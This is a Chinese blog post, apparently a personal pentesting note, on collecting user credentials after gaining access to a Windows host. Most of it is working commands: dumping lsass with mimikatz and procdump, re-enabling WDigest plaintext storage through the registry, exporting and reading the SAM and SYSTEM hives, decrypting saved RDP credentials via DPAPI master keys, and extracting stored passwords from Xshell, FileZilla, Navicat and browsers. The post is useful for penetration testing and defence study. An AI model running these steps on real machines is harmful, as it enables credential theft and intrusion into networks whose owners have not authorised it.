内网信息收集-用户凭据收集

这是内网渗透中很重要的一步,很多操作都需要用户凭据

注:这里的收集大多需要管理员权限,所以需要配合权限提升

获取域内单机密码和哈希

在前面介绍NTLM协议时介绍过windows的NTLM本地认证流程,Windows协议之NTLM

在用户输入密码进行身份验证的过程中,所有操作都是在本地进行的。系统将用户输入的密码转换为NTLM Hash,再将其与SAM中的NTLM Hash文件进行比较,若相同则说明密码正确,反之则为错误。当用户注销、重启、锁屏后,操作系统会让winlog.exe显示登陆界面,即密码输入框,在winlog.exe程序接收到输入之后,会将密码交给lsass.exe进程,lsass.exe进程中会存储一份明文密码,并将其加密成NTLM Hash,与SAM数据库进行比较和认证

在上述过程中,有个lsass.exe进程,我们在渗透过程中使用的Mimikatz就是从该进程中抓取的明文或Hash密码

这里详细记录在如何使用mimikatz进行信息收集:

在线读取lsass进程

将mimikatz上传至目标主机后,命令行启动:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
# "privilege::debug"用于提升至DebugPrivilege权限(需要管理员权限)
# "sekurlsa::logonpasswords full"用于导出用户凭据
image-20240909172020826

比如这里抓取到NTLM hash,尝试解密:

image-20240909172105962

即可获得明文密码

离线读取lsass内存文件

也可以将lsass的进程内存转储,导出到本地后使用mimikatz离线读取

这里选择微软官方的ProcDump进行内存转储,首先将procdump上传至目标主机,命令行启动:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

image-20240909173229329

接下来将lsass.dmp放到本地离线读取:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
# "sekurlsa::minidump lsass.dmp"用于加载内存文件
# "sekurlsa::logonpasswords full"用于导出用户凭据

image-20240909174130281

在上面的抓取过程中可以看见,wdigest功能中抓取不到明文密码,因为微软在2014年5月发布了补丁,关闭了wdigest功能,禁止从内存中获取明文密码,且windows server 2012及以上版本默认关闭了wdigest功能

可以通过修改注册表,可以重新开启wdigest功能:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 开启wdigest

image-20240909185200986

在开启wdigest后,若主机再次触发本地认证操作(比如睡眠后重新登录),则可抓取明文密码:

image-20240909185433291

在线读取SAM文件

读取SAM文件中保存的用户登录凭据,可以导出当前系统中所有本地用户的hash:

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
# "privilege::debug"用于提升至DebugPrivilege权限
# "token::elevate"用于提升至SYSTEM权限
# "lsadump::sam"用于读取本地SAM文件
image-20240910193419664

离线读取本地SAM文件

将SAM文件导出并使用mimikatz加载并读取其中的用户登录凭据等信息,但微软为了提高SAM文件安全性,会对SAM文件使用密钥加密,该密钥存储于于SAM同目录下的SYSTEM文件中

那么首先需要导出SYSTEM和SAM文件,但这两个文件是被锁定的,所以需要借助工具实现,这里使用powersploit中的invoke-NinjaCopy.ps1

但powershell的默认执行策略为Restricted(受限):

image-20240910205044308

此状态下无法导入powershell脚本,需要更改执行策略:

Set-ExecutionPolicy Unrestricted

image-20240910205236473

接下来导入ps脚本:

Import-Module .\Invoke-NinjaCopy.ps1

然后导出SAM和SYSTEM文件:

Invoke-NinjaCopy -Path "C:\windows\System32\config\SAM" -LocalDestination C:\Temp\SAM

Invoke-NinjaCopy -Path "C:\windows\System32\config\SAM" -LocalDestination C:\Temp\SYSTEM

image-20240911092242469

这里有个缺点即高版本windows(win10及以上)执行该ps脚本会出错(本人还没搞懂原因):
image-20240910210308166

此外,CVE-2021-36934可以提权直接读取SAM和SYSTEM文件,后面提权文章再细嗦

在具有管理员权限的情况下,可以直接通过保存注册表的形式导出:

reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

image-20240910220112804

导出后使用mimikatz加载并读取SAM中的用户凭据信息:

mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit
image-20240910224232077

获取常见应用软件凭据

主机中可能会存在一些特定的应用程序来存储密码,可以尝试进行获取

获取RDP保存的凭据

若用户在RDP登陆时,勾选了保存连接凭证,凭据便会使用数据保护API以加密的形式存储在windows的凭据管理器中,路径为%USERPROFILE%\AppData\Local\Microsoft\Credentials

查看当前主机保存的所有连接凭证:

cmdkey /list
# 查看当前保存的凭据

image-20240911222132278

dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*
# 遍历Credentials中保存的凭据

image-20240911222318583

mimikatz解析该凭证3E039BFD58331448709CE3225E1724AF

mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\3E039BFD58331448709CE3225E1724AF" exit

image-20240911222927073

其中pbData就是凭据的加密数据,guidMasterKey是该凭据的GUID,这里记住guidMasterKey:{ba5eb8b7-53cf-4452-bf99-44b3402b8fc1}

接下来执行:

mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit

image-20240912091452064

这里可以找到和guidMasterKey相关的MasterKey:1ea718de5687d36dba4fbf83c158ca9413dda53ed06170242c1779fdc39e8fec7f093148fbf9017e0e6b20d5b3655efd21ac74c430bf69396bbcb67d1beb6bed

但我在windows11上mimkatz会报错(win10试过了,也不会报错):

image-20240911231237468

接下来用拿到的MasterKey执行命令:

mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\3E039BFD58331448709CE3225E1724AF /masterkey:1ea718de5687d36dba4fbf83c158ca9413dda53ed06170242c1779fdc39e8fec7f093148fbf9017e0e6b20d5b3655efd21ac74c430bf69396bbcb67d1beb6bed" exit

image-20240912093723708

成功获取到RDP凭证的administrator密码:Admin123456

获取Xshell保存的凭据

Xshell会将服务器连接信息保存在session目录下的.xsh文件中:

image-20240912123901481

如果用户连接时勾选了记住用户名/密码,那么该文件会保存远程服务器连接的用户名和加密后的密码

可以使用SharpXDecrypt进行凭据获取,上传到主机执行即可:

.\SharpXDecrypt.exe

image-20240912161024476

获取FileZilla保存的凭据

无需多言,利用SharpDecryptPwd直接获取密码 工具下载地址:https://github.com/uknowsec/SharpDecryptPwd

SharpDecryptPwd.exe -FileZilla

获取NaviCat保存的凭据

依旧是SharpDecryptPwd:

SharpDecryptPwd.exe -NavicatCrypto

image-20240912162640441

获取浏览器保存的凭据

web浏览器有保存密码的功能

可以使用hackbrowserdata获取密码

image-20240912165316372

三大浏览器数据都可以收集,不只密码:
image-20240912165503600

posted @ 2024-09-12 22:27  Yuy0ung  阅读(33)  评论(0编辑  收藏  举报